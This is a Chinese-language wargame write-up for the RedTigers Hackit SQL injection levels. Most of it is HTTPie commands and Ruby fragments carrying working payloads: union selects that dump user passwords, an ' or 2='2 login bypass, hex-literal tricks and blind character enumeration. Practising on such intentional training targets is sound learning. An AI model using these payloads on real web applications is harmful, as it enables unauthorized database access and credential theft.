RedTigers Hackit是关于PHP和SQL injection的wargame。
又开始做wargame了,这次的进步是用上了HTTPie,一个类似curl
的工具,但语法比后者优雅一些。
1
1 | http get 'http://redtiger.dyndns.org/hackit/level1.php' cat=='1 union select 1,2,username,password from level1_users' |
2
指定--session
选项就可以实现cookie
jar功能了,请求时会发送Cookie
首部,也会保存服务端发来的Set-Cookie
首部,而curl
里实现同样的同能需要指定-b c -c c
。
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level2.php' username="' or 2='2" password="' or 2='2" login=Login |
3
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level3.php' 'usr[]==' |
报错:
1 | Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21 |
可以下载这个文件:
1 | http --session=./c get 'http://redtiger.dyndns.org/hackit/urlcrypt.inc' --download |
猜测usr
字段被用来做SQL查询了:
1 | http --session=./c get 'http://redtiger.dyndns.org/hackit/level3.php' usr==$(php urlcrypt.inc "' union select 1,username,3,4,5,password,7 from level3_users where username='Admin' -- ") |
4
Blind SQL injection,二分搜索枚举每个位置的字符:
1 | require 'net/http' |
5
1 | pass=$(echo -n a | md5sum) |
6
先确定SQL返回结果有5列,然后填充Admin
:
1 | http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,'Admin',3,4,5" |
报错:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27
。
利用MySQL中xexadecimal literal默认为字符串的性质,尝试:
1 | http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,0x61646d696e,3,4,5" |
猜测第二列被用来做查询了:
1 | a=$(echo -n "' union select 1,username,3,password,5 from level6_users where status=1-- " | rax2 -S) |
7
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="xxx'" dosearch='search!' |
触发错误信息,了解到查询用的SQL:
1 | SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%#{serach}%' OR text.title LIKE '%#{search}%') |
尝试发现比较运算符及substr
、mid
、left
等很多字符串函数被过滤了。枚举得出news.autor
的长度:
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="Google%' and length(news.autor)=17 and '%'='" dosearch='search!' |
发现locate
函数没有过滤,找出news.autor
中出现过的字符:
1 | Net::HTTP.start('redtiger.dyndns.org') {|http| |
得到这些:efglorstu0
。然后开始枚举17位密码中每一位的字符:
1 | u = URI '/hackit/level7.php' |
得到了密码,但是
1 | http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' username='*****************' try='Check!' |
提示不正确……错在哪里了啊